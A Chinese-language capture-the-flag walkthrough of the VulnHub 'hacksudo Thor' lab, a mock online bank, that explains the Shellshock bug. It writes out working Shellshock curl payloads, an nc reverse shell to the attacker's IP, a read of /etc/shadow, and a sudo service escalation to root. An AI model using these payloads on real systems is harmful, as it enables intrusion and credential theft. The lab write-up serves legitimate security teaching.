靶机介绍
1)靶机地址:https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip
2)靶机难度:中
3)打靶目标: 取得 root 权限 + Flag
4)涉及攻击方法:主机发现、端口扫描、WEB目录爬取、开源源码泄漏、默认帐号密码、业务逻辑漏洞、SQL注入、破壳漏洞、GTFOBins提权
5)靶机简介:这是一个模拟在线银行系统的靶机。将通过信息收集的手段,发现并获取托管在公开代码服务器上的程序源码。进而通过源码审计,获得系统关键帐号的密码。该靶机虽然也存在SQL注入等常见漏洞类型,但要想突破边界打点成功,则需要掌握破壳漏洞的攻击方法。通过本次靶机将学习到破壳漏洞的原理,以及通过WEB渠道利用该漏洞的具体方法。该靶机的提权方法具有新意,将利用操作系统自身命令的权限漏洞来实现提权。除了技术性的漏洞之外,还结合自己的实际工作经验,向大家介绍了部分高危的逻辑漏洞类型。成功利用某些逻辑漏洞,攻击者可以直接从在线系统中偷钱,给企业造成直接的经济损失。作为系统的安全建设者,我们必须要关注和掌握的这些漏洞类型。
打靶过程
1)主机发现:靶机IP为192.168.56.11
# arp-scan -l
2)全端口扫描
# nmap -p- 192.168.56.11
3)服务版本扫描
# nmap -p21,22,80 -sV -sC 192.168.56.119
4)浏览器访问靶机的80端口:根据页面提示信息,返回的是一个在线银行的系统
浏览器:http://192.168.56.119/
①尝试通过admin/admin、admin/123456等弱口令进行登录,无法成功登录
②点击该系统的其他链接,如NEWS中也未发现其他信息,在CONTACT中发现了一些电话号码,邮件信息(在实际的渗透测试过程中,要记录下这些内容,因为有可能平台的登录账号就是员工的手机号或者银行账号)
③查看首页源码查看:发现在根目录下存在一个images的目录,里面都是图片文件。首页面源码中未发现其他有用的信息
④查看NEWS页面源代码中,发现了一个cgi-bin的注释信息。
补充:cgi可以在web服务器端使用web应用程序来处理客户端提交的请求的开发技术,比较常见的web应用程序接口通常可以使用操作系统的shell脚本来处理客户端提交上来的一些请求,如客户端提交一个请求,会去访问CGI目录下的一个CGI的文件,将自己的请求发给这个文件,这个文件就会调用操作系统的shell来解析客户端提交上来的数据请求。通过这种方法可以简化web应用程序的开发难度。通过如果使用CGI的技术,那么在web程序中就会存在x.x.x.x/cgi-bin/xxx.cgi或者x.x.x.x/cgi-bin/xxx.sh的文件
浏览器直接访问:http://192.168.56.119/cgi-bin/
返回了403,说明当查看文件目录下的所有文件内容列表时被拒绝了,说明目录存在,但是因为没有权限,导致无法请求当前目录下的文件列表。但是并不意味着请求该目录下某个具体文件时,服务器端也会拒绝。
破壳漏洞:利用整个web程序软件架构中的一部分可以执行代码的软件组件,通过这种漏洞来实现代码的执行,反弹shell的效果(原理见下方)
5)对web程序进行目录爬取
# dirsearch -u http://192.168.56.119
①通过扫描出的README.md可以查看到该web系统的基本信息:该文档中,给出了web程序源码地址和数据库信息
②通过上述信息,在github上查看源码信息:说明了web程序初始搭建后的用户名和密码
https://github.com/zakee94/online-banking-system
尝试通过该用户名和密码登录web应用程序,发现无法正常登录
③在目录爬取,以及源码查看中都存在一个admin_login.php的文件,通过浏览器直接访问该文件,并上述发现的用户名admin,密码password123尝试登录,发现可以登入
http://192.168.56.119/admin_login.php
6)登入后台后,发现可以添加用户,输入需要添加的用户进行,进行提交后,返回如下报错,说明此处可能存在SQL注入漏洞,但是此处的SQL注入漏洞,无法直接突破边界,拿到操作系统的shell,所以此处不进行此处的SQL注入。同时在Manage Customers也存在SQL注入
此处已经可以获取到web应用程序后台管理员的信息,即使SQL注入成功,也不会获取到其他对渗透测试更有价值的信息了。
通过托管在github上的源码信息,可以找到目标靶机web系统默认的用户和密码。在Manage Customers页面也可以查看到这些用户的账号和免密
INSERT INTO `customer` VALUES (1,'Nafees','Zakee','male','1994-11-28',123456789,'[email protected]','+91 8918722499','22/10, Secondary Road, Durgapur - 713204','delhi',1122334455,1234,'zakee94','nafees123'),(2,'Md Salman','Ali','male','1994-10-11',987654321,'[email protected]','+966 895432167','Al Ahsa Street Malaz, King Abdulaziz Rd, Alamal Dist. RIYADH 12643-2121.','riyadh',1133557788,1234,'salman','salman123'),(3,'Tushar','Kr. Pandey','male','1995-02-03',125656765,'[email protected]','+334 123456987','Champ de Mars, \r\n5 Avenue Anatole France, \r\n75007 Paris, France','paris',1122338457,1357,'tushar','tushar123'),(4,'Jon','Snow','male','1985-02-03',129156787,'[email protected]','+1 8918332797','The Night Watch,\r\nKing in the North,\r\nThe North Remembers,\r\nWesteros.','newyork',1233556739,1234,'jon','snow123');
7)通过普通用户登入系统后,可直接进行转账操作:转账密码使用登录密码即可成功转账。此处攻击者可以自己注册一个账号,然后通过被攻击者的账户直接向攻击者账户进行转账,之后攻击者再进行提现操作
安全问题:只要用户账号泄露,那么资金就会出现安全问题
8)破壳漏洞原理:
shell:通过在登录系统后吗,都会获取到一个shell的命令提示行,通过shell可以解析并执行操作系统命令。linux中最基础的shell程序为sh,现在使用较多的shell程序为bash、zsh。
环境变量:在bash中存在一个环境变量的感念,通过env命令可以查看当前操作系统已经定义好的环境变量。通过echo $变量名 可以查看变量具体的值,如
# echo $SHELL
/usr/bin/zsh
①在shell中也可以自定义环境变量
# export x="Hello World"
# echo $x
Hello World
②在shell中也可以定义一些函数,在函数中执行一些操作的集合。然后去调用函数
# w() { echo "Hello $USER, today is data: "; date; }
# w
Hello root, today is data:
Sun Feb 5 10:47:33 PM EST 2023
破壳漏洞:要想利用破壳漏洞,可以将环境变量的定义和函数的定义两者结合,将一个函数的定义赋值给一个环境变量,那么当通过bash调用去执行环境变量内容时,就会导致这个环境变量中的内容被执行
# export x="() { echo \"hello $USER, today is date: \"; date }"
# bash -c 'x'
注:对于较新的操作系统中,有可能该漏洞被修复
原理:bash在解析环境变量当中引用的函数定时时,过滤和函数定义的界限不清晰造成的漏洞。该漏洞最根本的原有是存在于bash这个shell程序当中的,并不是存在于web应用程序当中的。
如果web应用程序和bash程序之间有关连,即如果web应用程序使用了cgi技术,通过web应用程序的引用,引用了操作系统的bash,来处理操作系统的一些指令,那么就可以把http服务作为可以实现访问操作系统shell,向操作系统shell提交环境变量的定义,从而在环境变量定义中引入其他的函数定义,实现目标的手段
在这个过程中,http服务就相当于一条通道,它打开了通往操作系统shell的通道,该通道就是通过cgi引用的方式来最终实现
在cgi-bin的路径下去寻找一些扩展名可能是cgi或sh的文件,如果存在这些文件,说明这个web应用程序所引用的外部应用程序就是操作系统的shell。如果恰好目标操作系统使用的shell程序为bash,且版本较老,那么就可能存在破壳漏洞,没有对环境变量中引用的函数定义进行过滤,那么就可以通过cgi去执行一些操作系统的命令,进而进行反弹shell
9)在cgi-bin的路径下去寻找一些扩展名可能是cgi或sh的文件
#凡是在cgi-bin目录下,后缀为cgi或者sh的文件都进行爬取
# dirsearch -u http://192.168.56.119/cgi-bin/ -f -e cgi,sh
5XX响应码表示服务器端报错,500是表示服务器端可以接受客户端提交的数据请求,但是服务器端处理这些请求时,没有办法正常处理。但是可以说明文件是存在的
10)通过nmap工具的http-shellshock脚本验证是否存在破壳漏洞
#如果存在破壳漏洞就会执行cmd中设置的命令,即ls
# nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.56.119
# nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 192.168.56.119
通过扫描,确定了目标靶机上存在破壳漏洞
11)通过在UA头部中使用函数定义,来执行命令,检查nc命令是否存在
# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" \http://192.168.56.119/cgi-bin/shell.sh
通过上述命令可100%确认,操作系统存在破壳漏洞
12)反弹shell,突破边界
# nc -nvlp 4444
# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash 192.168.56.103 4444'" \http://192.168.56.119/cgi-bin/shell.sh
13)实现shell的升级
python3 -c 'import pty;pty.spawn("/bin/bash")'
14)查看sudo权限是否存在漏洞
$ sudo -l
检查发现,不需要密码就可以执行.hammer.sh脚本文件
15)通过thor用户去执行.hammer.sh脚本文件,并在输入内容的地方,随便输入内容
$ sudo -u thor /home/thor/./hammer.sh
多次输入内容,测试发现,当在massage处输入命令后,会以thor用户的身份去执行
16)按照上述方式,输入bash命令,获取到thor用户的shell,并进行shell的升级
$ sudo -u thor /home/thor/./hammer.sh
python3 -c 'import pty;pty.spawn("/bin/bash")'
id
17)在thor这个用户下,检查其sudo权限
$ sudo -l
可以以root的身份去执行/usr/bin/cat、/usr/sbin/service
18)通过sudo查看用户密码文件
$ sudo cat /etc/shadow
19)利用service命令可以直接提权至系统的root权限
$ sudo service ../../bin/bash
补充:https://gtfobins.github.io/
上述网站中,总结了所有在操作系统中,如果哪一个程序权限配置不当,都可以使用该程序,将当前权限提升为root权限
20)获取flag
# cd /root
# ls
proof.txt root.txt
# cat root.txt